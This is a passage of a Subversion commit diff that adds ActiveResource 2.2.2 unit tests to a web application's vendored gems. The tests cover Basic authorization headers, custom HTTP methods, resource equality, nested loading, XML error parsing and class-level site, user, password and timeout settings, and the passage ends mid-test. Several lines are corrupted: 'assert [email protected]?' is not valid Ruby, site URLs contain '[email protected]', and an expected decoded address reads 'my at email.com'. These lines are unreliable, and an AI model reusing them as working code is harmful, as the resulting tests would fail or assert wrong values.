===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/authorization_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/authorization_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,122 @@
+require 'abstract_unit'
+
+class AuthorizationTest < Test::Unit::TestCase
+  Response = Struct.new(:code)
+
+  def setup
+    @conn = ActiveResource::Connection.new('http://localhost')
+    @matz  = { :id => 1, :name => 'Matz' }.to_xml(:root => 'person')
+    @david = { :id => 2, :name => 'David' }.to_xml(:root => 'person')
+    @authenticated_conn = ActiveResource::Connection.new("http://david:test123@localhost")
+    @authorization_request_header = { 'Authorization' => 'Basic ZGF2aWQ6dGVzdDEyMw==' }
+
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get    "/people/2.xml",           @authorization_request_header, @david
+      mock.put    "/people/2.xml",           @authorization_request_header, nil, 204
+      mock.delete "/people/2.xml",           @authorization_request_header, nil, 200
+      mock.post   "/people/2/addresses.xml", @authorization_request_header, nil, 201, 'Location' => '/people/1/addresses/5'
+    end
+  end
+
+  def test_authorization_header
+    authorization_header = @authenticated_conn.__send__(:authorization_header)
+    assert_equal @authorization_request_header['Authorization'], authorization_header['Authorization']
+    authorization = authorization_header["Authorization"].to_s.split
+    
+    assert_equal "Basic", authorization[0]
+    assert_equal ["david", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
+  end
+  
+  def test_authorization_header_with_username_but_no_password
+    @conn = ActiveResource::Connection.new("http://david:@localhost")
+    authorization_header = @conn.__send__(:authorization_header)
+    authorization = authorization_header["Authorization"].to_s.split
+    
+    assert_equal "Basic", authorization[0]
+    assert_equal ["david"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
+  end
+  
+  def test_authorization_header_with_password_but_no_username
+    @conn = ActiveResource::Connection.new("http://:test123@localhost")
+    authorization_header = @conn.__send__(:authorization_header)
+    authorization = authorization_header["Authorization"].to_s.split
+    
+    assert_equal "Basic", authorization[0]
+    assert_equal ["", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
+  end
+  
+  def test_authorization_header_with_decoded_credentials_from_url
+    @conn = ActiveResource::Connection.new("http://my%40email.com:%31%32%33@localhost")
+    authorization_header = @conn.__send__(:authorization_header)
+    authorization = authorization_header["Authorization"].to_s.split
+
+    assert_equal "Basic", authorization[0]
+    assert_equal ["my at email.com", "123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
+  end
+
+  def test_authorization_header_explicitly_setting_username_and_password
+    @authenticated_conn = ActiveResource::Connection.new("http://@localhost")
+    @authenticated_conn.user = 'david'
+    @authenticated_conn.password = 'test123'
+    authorization_header = @authenticated_conn.__send__(:authorization_header)
+    assert_equal @authorization_request_header['Authorization'], authorization_header['Authorization']
+    authorization = authorization_header["Authorization"].to_s.split
+
+    assert_equal "Basic", authorization[0]
+    assert_equal ["david", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
+  end
+
+  def test_authorization_header_explicitly_setting_username_but_no_password
+    @conn = ActiveResource::Connection.new("http://@localhost")
+    @conn.user = "david"
+    authorization_header = @conn.__send__(:authorization_header)
+    authorization = authorization_header["Authorization"].to_s.split
+
+    assert_equal "Basic", authorization[0]
+    assert_equal ["david"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
+  end
+
+  def test_authorization_header_explicitly_setting_password_but_no_username
+    @conn = ActiveResource::Connection.new("http://@localhost")
+    @conn.password = "test123"
+    authorization_header = @conn.__send__(:authorization_header)
+    authorization = authorization_header["Authorization"].to_s.split
+
+    assert_equal "Basic", authorization[0]
+    assert_equal ["", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
+  end
+
+  def test_get
+    david = @authenticated_conn.get("/people/2.xml")
+    assert_equal "David", david["name"]
+  end
+  
+  def test_post
+    response = @authenticated_conn.post("/people/2/addresses.xml")
+    assert_equal "/people/1/addresses/5", response["Location"]
+  end
+  
+  def test_put
+    response = @authenticated_conn.put("/people/2.xml")
+    assert_equal 204, response.code
+  end
+  
+  def test_delete
+    response = @authenticated_conn.delete("/people/2.xml")
+    assert_equal 200, response.code
+  end
+
+  def test_raises_invalid_request_on_unauthorized_requests
+    assert_raises(ActiveResource::InvalidRequestError) { @conn.post("/people/2.xml") }
+    assert_raises(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.xml") }
+    assert_raises(ActiveResource::InvalidRequestError) { @conn.put("/people/2.xml") }
+    assert_raises(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.xml") }
+  end
+
+  protected
+    def assert_response_raises(klass, code)
+      assert_raise(klass, "Expected response code #{code} to raise #{klass}") do
+        @conn.__send__(:handle_response, Response.new(code))
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/custom_methods_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/custom_methods_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/custom_methods_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+require 'abstract_unit'
+require 'fixtures/person'
+require 'fixtures/street_address'
+
+class CustomMethodsTest < Test::Unit::TestCase
+  def setup
+    @matz  = { :id => 1, :name => 'Matz' }.to_xml(:root => 'person')
+    @matz_deep  = { :id => 1, :name => 'Matz', :other => 'other' }.to_xml(:root => 'person')
+    @matz_array = [{ :id => 1, :name => 'Matz' }].to_xml(:root => 'people')
+    @ryan  = { :name => 'Ryan' }.to_xml(:root => 'person')
+    @addy  = { :id => 1, :street => '12345 Street' }.to_xml(:root => 'address')
+    @addy_deep  = { :id => 1, :street => '12345 Street', :zip => "27519" }.to_xml(:root => 'address')
+
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get    "/people/1.xml",             {}, @matz
+      mock.get    "/people/1/shallow.xml", {}, @matz
+      mock.get    "/people/1/deep.xml", {}, @matz_deep
+      mock.get    "/people/retrieve.xml?name=Matz", {}, @matz_array
+      mock.get    "/people/managers.xml", {}, @matz_array
+      mock.post   "/people/hire.xml?name=Matz", {}, nil, 201
+      mock.put    "/people/1/promote.xml?position=Manager", {}, nil, 204
+      mock.put    "/people/promote.xml?name=Matz", {}, nil, 204, {}
+      mock.put    "/people/sort.xml?by=name", {}, nil, 204
+      mock.delete "/people/deactivate.xml?name=Matz", {}, nil, 200
+      mock.delete "/people/1/deactivate.xml", {}, nil, 200
+      mock.post   "/people/new/register.xml",      {}, @ryan, 201, 'Location' => '/people/5.xml'
+      mock.post   "/people/1/register.xml", {}, @matz, 201
+      mock.get    "/people/1/addresses/1.xml", {}, @addy
+      mock.get    "/people/1/addresses/1/deep.xml", {}, @addy_deep
+      mock.put    "/people/1/addresses/1/normalize_phone.xml?locale=US", {}, nil, 204
+      mock.put    "/people/1/addresses/sort.xml?by=name", {}, nil, 204
+      mock.post   "/people/1/addresses/new/link.xml", {}, { :street => '12345 Street' }.to_xml(:root => 'address'), 201, 'Location' => '/people/1/addresses/2.xml'
+    end
+
+    Person.user = nil
+    Person.password = nil
+  end  
+
+  def teardown
+    ActiveResource::HttpMock.reset!
+  end
+
+  def test_custom_collection_method
+    # GET
+    assert_equal([{ "id" => 1, "name" => 'Matz' }], Person.get(:retrieve, :name => 'Matz'))
+
+    # POST
+    assert_equal(ActiveResource::Response.new("", 201, {}), Person.post(:hire, :name => 'Matz'))
+
+    # PUT
+    assert_equal ActiveResource::Response.new("", 204, {}),
+                   Person.put(:promote, {:name => 'Matz'}, 'atestbody')
+    assert_equal ActiveResource::Response.new("", 204, {}), Person.put(:sort, :by => 'name')
+
+    # DELETE
+    Person.delete :deactivate, :name => 'Matz'
+
+    # Nested resource
+    assert_equal ActiveResource::Response.new("", 204, {}), StreetAddress.put(:sort, :person_id => 1, :by => 'name')
+  end
+
+  def test_custom_element_method
+    # Test GET against an element URL
+    assert_equal Person.find(1).get(:shallow), {"id" => 1, "name" => 'Matz'}
+    assert_equal Person.find(1).get(:deep), {"id" => 1, "name" => 'Matz', "other" => 'other'}
+    
+    # Test PUT against an element URL
+    assert_equal ActiveResource::Response.new("", 204, {}), Person.find(1).put(:promote, {:position => 'Manager'}, 'body')
+    
+    # Test DELETE against an element URL
+    assert_equal ActiveResource::Response.new("", 200, {}), Person.find(1).delete(:deactivate)
+    
+    # With nested resources
+    assert_equal StreetAddress.find(1, :params => { :person_id => 1 }).get(:deep),
+                  { "id" => 1, "street" => '12345 Street', "zip" => "27519" }
+    assert_equal ActiveResource::Response.new("", 204, {}),
+                   StreetAddress.find(1, :params => { :person_id => 1 }).put(:normalize_phone, :locale => 'US')
+  end
+
+  def test_custom_new_element_method
+    # Test POST against a new element URL
+    ryan = Person.new(:name => 'Ryan')
+    assert_equal ActiveResource::Response.new(@ryan, 201, {'Location' => '/people/5.xml'}), ryan.post(:register)
+    expected_request = ActiveResource::Request.new(:post, '/people/new/register.xml', @ryan)
+    assert_equal expected_request.body, ActiveResource::HttpMock.requests.first.body
+
+    # Test POST against a nested collection URL
+    addy = StreetAddress.new(:street => '123 Test Dr.', :person_id => 1)
+    assert_equal ActiveResource::Response.new({ :street => '12345 Street' }.to_xml(:root => 'address'), 
+                   201, {'Location' => '/people/1/addresses/2.xml'}),
+                 addy.post(:link)
+
+    matz = Person.new(:id => 1, :name => 'Matz')
+    assert_equal ActiveResource::Response.new(@matz, 201), matz.post(:register)
+  end
+
+  def test_find_custom_resources
+    assert_equal 'Matz', Person.find(:all, :from => :managers).first.name
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/equality_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/equality_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/equality_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,43 @@
+require 'abstract_unit'
+require "fixtures/person"
+require "fixtures/street_address"
+
+class BaseEqualityTest < Test::Unit::TestCase
+  def setup
+    @new = Person.new
+    @one = Person.new(:id => 1)
+    @two = Person.new(:id => 2)
+    @street = StreetAddress.new(:id => 2)
+  end
+
+  def test_should_equal_self
+    assert @new == @new, '@new == @new'
+    assert @one == @one, '@one == @one'
+  end
+
+  def test_shouldnt_equal_new_resource
+    assert @new != @one, '@new != @one'
+    assert @one != @new, '@one != @new'
+  end
+
+  def test_shouldnt_equal_different_class
+    assert @two != @street, 'person != street_address with same id'
+    assert @street != @two, 'street_address != person with same id'
+  end
+
+  def test_eql_should_alias_equals_operator
+    assert_equal @new == @new, @new.eql?(@new)
+    assert_equal @new == @one, @new.eql?(@one)
+
+    assert_equal @one == @one, @one.eql?(@one)
+    assert_equal @one == @new, @one.eql?(@new)
+
+    assert_equal @one == @street, @one.eql?(@street)
+  end
+
+  def test_hash_should_be_id_hash
+    [@new, @one, @two, @street].each do |resource|
+      assert_equal resource.id.hash, resource.hash
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/load_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/load_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base/load_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,146 @@
+require 'abstract_unit'
+require "fixtures/person"
+require "fixtures/street_address"
+
+module Highrise
+  class Note < ActiveResource::Base
+    self.site = "http://37s.sunrise.i:3000"
+  end
+
+  class Comment < ActiveResource::Base
+    self.site = "http://37s.sunrise.i:3000"
+  end
+
+  module Deeply
+    module Nested
+
+      class Note < ActiveResource::Base
+        self.site = "http://37s.sunrise.i:3000"
+      end
+
+       class Comment < ActiveResource::Base
+         self.site = "http://37s.sunrise.i:3000"
+       end
+
+       module TestDifferentLevels
+
+         class Note < ActiveResource::Base
+           self.site = "http://37s.sunrise.i:3000"
+         end
+
+       end
+
+    end
+  end
+
+end
+
+
+class BaseLoadTest < Test::Unit::TestCase
+  def setup
+    @matz  = { :id => 1, :name => 'Matz' }
+
+    @first_address = { :id => 1, :street => '12345 Street' }
+    @addresses = [@first_address, { :id => 2, :street => '67890 Street' }]
+    @addresses_from_xml = { :street_addresses => @addresses }
+    @addresses_from_xml_single = { :street_addresses => [ @first_address ] }
+
+    @deep  = { :id => 1, :street => {
+      :id => 1, :state => { :id => 1, :name => 'Oregon',
+        :notable_rivers => [
+          { :id => 1, :name => 'Willamette' },
+          { :id => 2, :name => 'Columbia', :rafted_by => @matz }] }}}
+
+    @person = Person.new
+  end
+
+  def test_load_expects_hash
+    assert_raise(ArgumentError) { @person.load nil }
+    assert_raise(ArgumentError) { @person.load '<person id="1"/>' }
+  end
+
+  def test_load_simple_hash
+    assert_equal Hash.new, @person.attributes
+    assert_equal @matz.stringify_keys, @person.load(@matz).attributes
+  end
+
+  def test_load_one_with_existing_resource
+    address = @person.load(:street_address => @first_address).street_address
+    assert_kind_of StreetAddress, address
+    assert_equal @first_address.stringify_keys, address.attributes
+  end
+
+  def test_load_one_with_unknown_resource
+    address = silence_warnings { @person.load(:address => @first_address).address }
+    assert_kind_of Person::Address, address
+    assert_equal @first_address.stringify_keys, address.attributes
+  end
+
+  def test_load_collection_with_existing_resource
+    addresses = @person.load(@addresses_from_xml).street_addresses
+    assert_kind_of Array, addresses
+    addresses.each { |address| assert_kind_of StreetAddress, address }
+    assert_equal @addresses.map(&:stringify_keys), addresses.map(&:attributes)
+  end
+
+  def test_load_collection_with_unknown_resource
+    Person.__send__(:remove_const, :Address) if Person.const_defined?(:Address)
+    assert !Person.const_defined?(:Address), "Address shouldn't exist until autocreated"
+    addresses = silence_warnings { @person.load(:addresses => @addresses).addresses }
+    assert Person.const_defined?(:Address), "Address should have been autocreated"
+    addresses.each { |address| assert_kind_of Person::Address, address }
+    assert_equal @addresses.map(&:stringify_keys), addresses.map(&:attributes)
+  end
+
+  def test_load_collection_with_single_existing_resource
+    addresses = @person.load(@addresses_from_xml_single).street_addresses
+    assert_kind_of Array, addresses
+    addresses.each { |address| assert_kind_of StreetAddress, address }
+    assert_equal [ @first_address ].map(&:stringify_keys), addresses.map(&:attributes)
+  end
+
+  def test_load_collection_with_single_unknown_resource
+    Person.__send__(:remove_const, :Address) if Person.const_defined?(:Address)
+    assert !Person.const_defined?(:Address), "Address shouldn't exist until autocreated"
+    addresses = silence_warnings { @person.load(:addresses => [ @first_address ]).addresses }
+    assert Person.const_defined?(:Address), "Address should have been autocreated"
+    addresses.each { |address| assert_kind_of Person::Address, address }
+    assert_equal [ @first_address ].map(&:stringify_keys), addresses.map(&:attributes)
+  end
+
+  def test_recursively_loaded_collections
+    person = @person.load(@deep)
+    assert_equal @deep[:id], person.id
+
+    street = person.street
+    assert_kind_of Person::Street, street
+    assert_equal @deep[:street][:id], street.id
+
+    state = street.state
+    assert_kind_of Person::Street::State, state
+    assert_equal @deep[:street][:state][:id], state.id
+
+    rivers = state.notable_rivers
+    assert_kind_of Array, rivers
+    assert_kind_of Person::Street::State::NotableRiver, rivers.first
+    assert_equal @deep[:street][:state][:notable_rivers].first[:id], rivers.first.id
+    assert_equal @matz[:id], rivers.last.rafted_by.id
+  end
+  
+  def test_nested_collections_within_the_same_namespace
+    n = Highrise::Note.new(:comments => [{ :name => "1" }])
+    assert_kind_of Highrise::Comment, n.comments.first
+  end
+
+  def test_nested_collections_within_deeply_nested_namespace
+    n = Highrise::Deeply::Nested::Note.new(:comments => [{ :name => "1" }])
+    assert_kind_of Highrise::Deeply::Nested::Comment, n.comments.first
+  end
+
+  def test_nested_collections_in_different_levels_of_namespaces
+    n = Highrise::Deeply::Nested::TestDifferentLevels::Note.new(:comments => [{ :name => "1" }])
+    assert_kind_of Highrise::Deeply::Nested::Comment, n.comments.first
+  end
+
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base_errors_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base_errors_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base_errors_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,48 @@
+require 'abstract_unit'
+require "fixtures/person"
+
+class BaseErrorsTest < Test::Unit::TestCase
+  def setup
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.post "/people.xml", {}, "<?xml version=\"1.0\" encoding=\"UTF-8\"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>", 422
+    end
+    @person = Person.new(:name => '', :age => '')
+    assert_equal @person.save, false
+  end
+
+  def test_should_mark_as_invalid
+    assert [email protected]?
+  end
+
+  def test_should_parse_xml_errors
+    assert_kind_of ActiveResource::Errors, @person.errors
+    assert_equal 4, @person.errors.size
+  end
+
+  def test_should_parse_errors_to_individual_attributes
+    assert @person.errors.invalid?(:name)    
+    assert_equal "can't be blank", @person.errors.on(:age)
+    assert_equal ["can't be blank", "must start with a letter"], @person.errors[:name]
+    assert_equal "Person quota full for today.", @person.errors.on_base
+  end
+
+  def test_should_iterate_over_errors
+    errors = []
+    @person.errors.each { |attribute, message| errors << [attribute, message] }
+    assert errors.include?(["name", "can't be blank"])
+  end
+
+  def test_should_iterate_over_full_errors
+    errors = []
+    @person.errors.each_full { |message| errors << message }
+    assert errors.include?("Name can't be blank")
+  end
+
+  def test_should_format_full_errors
+    full = @person.errors.full_messages
+    assert full.include?("Age can't be blank")
+    assert full.include?("Name can't be blank")
+    assert full.include?("Name must start with a letter")
+    assert full.include?("Person quota full for today.")
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,878 @@
+require 'abstract_unit'
+require "fixtures/person"
+require "fixtures/customer"
+require "fixtures/street_address"
+require "fixtures/beast"
+
+class BaseTest < Test::Unit::TestCase
+  def setup
+    @matz  = { :id => 1, :name => 'Matz' }.to_xml(:root => 'person')
+    @david = { :id => 2, :name => 'David' }.to_xml(:root => 'person')
+    @greg  = { :id => 3, :name => 'Greg' }.to_xml(:root => 'person')
+    @addy  = { :id => 1, :street => '12345 Street' }.to_xml(:root => 'address')
+    @default_request_headers = { 'Content-Type' => 'application/xml' }
+    @rick = { :name => "Rick", :age => 25 }.to_xml(:root => "person")
+    @people = [{ :id => 1, :name => 'Matz' }, { :id => 2, :name => 'David' }].to_xml(:root => 'people')
+    @people_david = [{ :id => 2, :name => 'David' }].to_xml(:root => 'people')
+    @addresses = [{ :id => 1, :street => '12345 Street' }].to_xml(:root => 'addresses')
+
+    # - deep nested resource -
+    # - Luis (Customer)
+    #   - JK (Customer::Friend)
+    #     - Mateo (Customer::Friend::Brother)
+    #       - Edith (Customer::Friend::Brother::Child)
+    #       - Martha (Customer::Friend::Brother::Child)
+    #     - Felipe (Customer::Friend::Brother)
+    #       - Bryan (Customer::Friend::Brother::Child)
+    #       - Luke (Customer::Friend::Brother::Child)
+    #   - Eduardo (Customer::Friend)
+    #     - Sebas (Customer::Friend::Brother)
+    #       - Andres (Customer::Friend::Brother::Child)
+    #       - Jorge (Customer::Friend::Brother::Child)
+    #     - Elsa (Customer::Friend::Brother)
+    #       - Natacha (Customer::Friend::Brother::Child)
+    #     - Milena (Customer::Friend::Brother)
+    #
+    @luis = {:id => 1, :name => 'Luis',
+              :friends => [{:name => 'JK',
+                            :brothers => [{:name => 'Mateo',
+                                           :children => [{:name => 'Edith'},{:name => 'Martha'}]},
+                                          {:name => 'Felipe',
+                                           :children => [{:name => 'Bryan'},{:name => 'Luke'}]}]},
+                           {:name => 'Eduardo',
+                            :brothers => [{:name => 'Sebas',
+                                           :children => [{:name => 'Andres'},{:name => 'Jorge'}]},
+                                          {:name => 'Elsa',
+                                           :children => [{:name => 'Natacha'}]},
+                                          {:name => 'Milena',
+                                           :children => []}]}]}.to_xml(:root => 'customer')
+    # - resource with yaml array of strings; for ActiveRecords using serialize :bar, Array
+    @marty = <<-eof
+      <?xml version=\"1.0\" encoding=\"UTF-8\"?>
+      <person>
+        <id type=\"integer\">5</id>
+        <name>Marty</name>
+        <colors type=\"yaml\">---
+      - \"red\"
+      - \"green\"
+      - \"blue\"
+      </colors>
+      </person>
+    eof
+
+    ActiveResource::HttpMock.respond_to do |mock|
+      mock.get    "/people/1.xml",                {}, @matz
+      mock.get    "/people/2.xml",                {}, @david
+      mock.get    "/people/5.xml",                {}, @marty
+      mock.get    "/people/Greg.xml",             {}, @greg
+      mock.get    "/people/4.xml",                {'key' => 'value'}, nil, 404
+      mock.put    "/people/1.xml",                {}, nil, 204
+      mock.delete "/people/1.xml",                {}, nil, 200
+      mock.delete "/people/2.xml",                {}, nil, 400
+      mock.get    "/people/99.xml",               {}, nil, 404
+      mock.post   "/people.xml",                  {}, @rick, 201, 'Location' => '/people/5.xml'
+      mock.get    "/people.xml",                  {}, @people
+      mock.get    "/people/1/addresses.xml",      {}, @addresses
+      mock.get    "/people/1/addresses/1.xml",    {}, @addy
+      mock.get    "/people/1/addresses/2.xml",    {}, nil, 404
+      mock.get    "/people/2/addresses/1.xml",    {}, nil, 404
+      mock.get    "/people/Greg/addresses/1.xml", {}, @addy
+      mock.put    "/people/1/addresses/1.xml",    {}, nil, 204
+      mock.delete "/people/1/addresses/1.xml",    {}, nil, 200
+      mock.post   "/people/1/addresses.xml",      {}, nil, 201, 'Location' => '/people/1/addresses/5'
+      mock.get    "/people//addresses.xml",       {}, nil, 404
+      mock.get    "/people//addresses/1.xml",     {}, nil, 404
+      mock.put    "/people//addresses/1.xml",     {}, nil, 404
+      mock.delete "/people//addresses/1.xml",     {}, nil, 404
+      mock.post   "/people//addresses.xml",       {}, nil, 404
+      mock.head   "/people/1.xml",                {}, nil, 200
+      mock.head   "/people/Greg.xml",             {}, nil, 200
+      mock.head   "/people/99.xml",               {}, nil, 404
+      mock.head   "/people/1/addresses/1.xml",    {}, nil, 200
+      mock.head   "/people/1/addresses/2.xml",    {}, nil, 404
+      mock.head   "/people/2/addresses/1.xml",    {}, nil, 404
+      mock.head   "/people/Greg/addresses/1.xml", {}, nil, 200
+      # customer
+      mock.get    "/customers/1.xml",             {}, @luis
+    end
+
+    Person.user = nil
+    Person.password = nil
+  end
+
+
+  def test_site_accessor_accepts_uri_or_string_argument
+    site = URI.parse('http://localhost')
+
+    assert_nothing_raised { Person.site = 'http://localhost' }
+    assert_equal site, Person.site
+
+    assert_nothing_raised { Person.site = site }
+    assert_equal site, Person.site
+  end
+
+  def test_should_use_site_prefix_and_credentials
+    assert_equal 'http://foo:[email protected]', Forum.site.to_s
+    assert_equal 'http://foo:[email protected]/forums/:forum_id', Topic.site.to_s
+  end
+
+  def test_site_variable_can_be_reset
+    actor = Class.new(ActiveResource::Base)
+    assert_nil actor.site
+    actor.site = 'http://localhost:31337'
+    actor.site = nil
+    assert_nil actor.site
+  end
+
+  def test_should_accept_setting_user
+    Forum.user = 'david'
+    assert_equal('david', Forum.user)
+    assert_equal('david', Forum.connection.user)
+  end
+
+  def test_should_accept_setting_password
+    Forum.password = 'test123'
+    assert_equal('test123', Forum.password)
+    assert_equal('test123', Forum.connection.password)
+  end
+
+  def test_should_accept_setting_timeout
+    Forum.timeout = 5
+    assert_equal(5, Forum.timeout)
+    assert_equal(5, Forum.connection.timeout)
+  end
+
+  def test_user_variable_can_be_reset
+    actor = Class.new(ActiveResource::Base)
+    actor.site = 'http://cinema'
+    assert_nil actor.user
+    actor.user = 'username'
+    actor.user = nil
+    assert_nil actor.user
+    assert_nil actor.connection.user
+  end
+
+  def test_password_variable_can_be_reset
+    actor = Class.new(ActiveResource::Base)
+    actor.site = 'http://cinema'
+    assert_nil actor.password
+    actor.password = 'username'
+    actor.password = nil
+    assert_nil actor.password
+    assert_nil actor.connection.password
+  end
+
+  def test_timeout_variable_can_be_reset
+    actor = Class.new(ActiveResource::Base)
+    actor.site = 'http://cinema'
+    assert_nil actor.timeout
+    actor.timeout = 5
+    actor.timeout = nil
+    assert_nil actor.timeout
+    assert_nil actor.connection.timeout
+  end
+
+  def test_credentials_from_site_are_decoded
+    actor = Class.new(ActiveResource::Base)
+    actor.site = 'http://my%40email.com:%31%32%33@cinema'
+    assert_equal("my at email.com", actor.user)
+    assert_equal("123", actor.password)
+  end
+
+  def test_site_reader_uses_superclass_site_until_written
+    # Superclass is Object so returns nil.
+    assert_nil ActiveResource::Base.site
+    assert_nil Class.new(ActiveResource::Base).site
+
+    # Subclass uses superclass site.
+    actor = Class.new(Person)
+    assert_equal Person.site, actor.site
+
+    # Subclass returns frozen superclass copy.
+    assert !Person.site.frozen?
+    assert actor.site.frozen?
+
+    # Changing subclass site doesn't change superclass site.
+    actor.site = 'http://localhost:31337'
+    assert_not_equal Person.site, actor.site
+
+    # Changed subclass site is not frozen.
+    assert !actor.site.frozen?
+
+    # Changing superclass site doesn't overwrite subclass site.
+    Person.site = 'http://somewhere.else'
+    assert_not_equal Person.site, actor.site
+
+    # Changing superclass site after subclassing changes subclass site.
+    jester = Class.new(actor)
+    actor.site = 'http://nomad'
+    assert_equal actor.site, jester.site
+    assert jester.site.frozen?
+
+    # Subclasses are always equal to superclass site when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+
+    fruit.site = 'http://market'
+    assert_equal fruit.site, apple.site, 'subclass did not adopt changes from parent class'
+
+    fruit.site = 'http://supermarket'
+    assert_equal fruit.site, apple.site, 'subclass did not adopt changes from parent class'
+  end
+
+  def test_user_reader_uses_superclass_user_until_written
+    # Superclass is Object so returns nil.
+    assert_nil ActiveResource::Base.user
+    assert_nil Class.new(ActiveResource::Base).user
+    Person.user = 'anonymous'
+
+    # Subclass uses superclass user.
+    actor = Class.new(Person)
+    assert_equal Person.user, actor.user
+
+    # Subclass returns frozen superclass copy.
+    assert !Person.user.frozen?
+    assert actor.user.frozen?
+
+    # Changing subclass user doesn't change superclass user.
+    actor.user = 'david'
+    assert_not_equal Person.user, actor.user
+
+    # Changing superclass user doesn't overwrite subclass user.
+    Person.user = 'john'
+    assert_not_equal Person.user, actor.user
+
+    # Changing superclass user after subclassing changes subclass user.
+    jester = Class.new(actor)
+    actor.user = 'john.doe'
+    assert_equal actor.user, jester.user
+
+    # Subclasses are always equal to superclass user when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+
+    fruit.user = 'manager'
+    assert_equal fruit.user, apple.user, 'subclass did not adopt changes from parent class'
+
+    fruit.user = 'client'
+    assert_equal fruit.user, apple.user, 'subclass did not adopt changes from parent class'
+  end
+
+  def test_password_reader_uses_superclass_password_until_written
+    # Superclass is Object so returns nil.
+    assert_nil ActiveResource::Base.password
+    assert_nil Class.new(ActiveResource::Base).password
+    Person.password = 'my-password'
+
+    # Subclass uses superclass password.
+    actor = Class.new(Person)
+    assert_equal Person.password, actor.password
+
+    # Subclass returns frozen superclass copy.
+    assert !Person.password.frozen?
+    assert actor.password.frozen?
+
+    # Changing subclass password doesn't change superclass password.
+    actor.password = 'secret'
+    assert_not_equal Person.password, actor.password
+
+    # Changing superclass password doesn't overwrite subclass password.
+    Person.password = 'super-secret'
+    assert_not_equal Person.password, actor.password
+
+    # Changing superclass password after subclassing changes subclass password.
+    jester = Class.new(actor)
+    actor.password = 'even-more-secret'
+    assert_equal actor.password, jester.password
+
+    # Subclasses are always equal to superclass password when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+
+    fruit.password = 'mega-secret'
+    assert_equal fruit.password, apple.password, 'subclass did not adopt changes from parent class'
+
+    fruit.password = 'ok-password'
+    assert_equal fruit.password, apple.password, 'subclass did not adopt changes from parent class'
+  end
+
+  def test_timeout_reader_uses_superclass_timeout_until_written
+    # Superclass is Object so returns nil.
+    assert_nil ActiveResource::Base.timeout
+    assert_nil Class.new(ActiveResource::Base).timeout
+    Person.timeout = 5
+
+    # Subclass uses superclass timeout.
+    actor = Class.new(Person)
+    assert_equal Person.timeout, actor.timeout
+
+    # Changing subclass timeout doesn't change superclass timeout.
+    actor.timeout = 10
+    assert_not_equal Person.timeout, actor.timeout
+
+    # Changing superclass timeout doesn't overwrite subclass timeout.
+    Person.timeout = 15
+    assert_not_equal Person.timeout, actor.timeout
+
+    # Changing superclass timeout after subclassing changes subclass timeout.
+    jester = Class.new(actor)
+    actor.timeout = 20
+    assert_equal actor.timeout, jester.timeout
+
+    # Subclasses are always equal to superclass timeout when not overridden.
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+
+    fruit.timeout = 25
+    assert_equal fruit.timeout, apple.timeout, 'subclass did not adopt changes from parent class'
+
+    fruit.timeout = 30
+    assert_equal fruit.timeout, apple.timeout, 'subclass did not adopt changes from parent class'
+  end
+
+  def test_updating_baseclass_site_object_wipes_descendent_cached_connection_objects
+    # Subclasses are always equal to superclass site when not overridden
+    fruit = Class.new(ActiveResource::Base)
+    apple = Class.new(fruit)
+
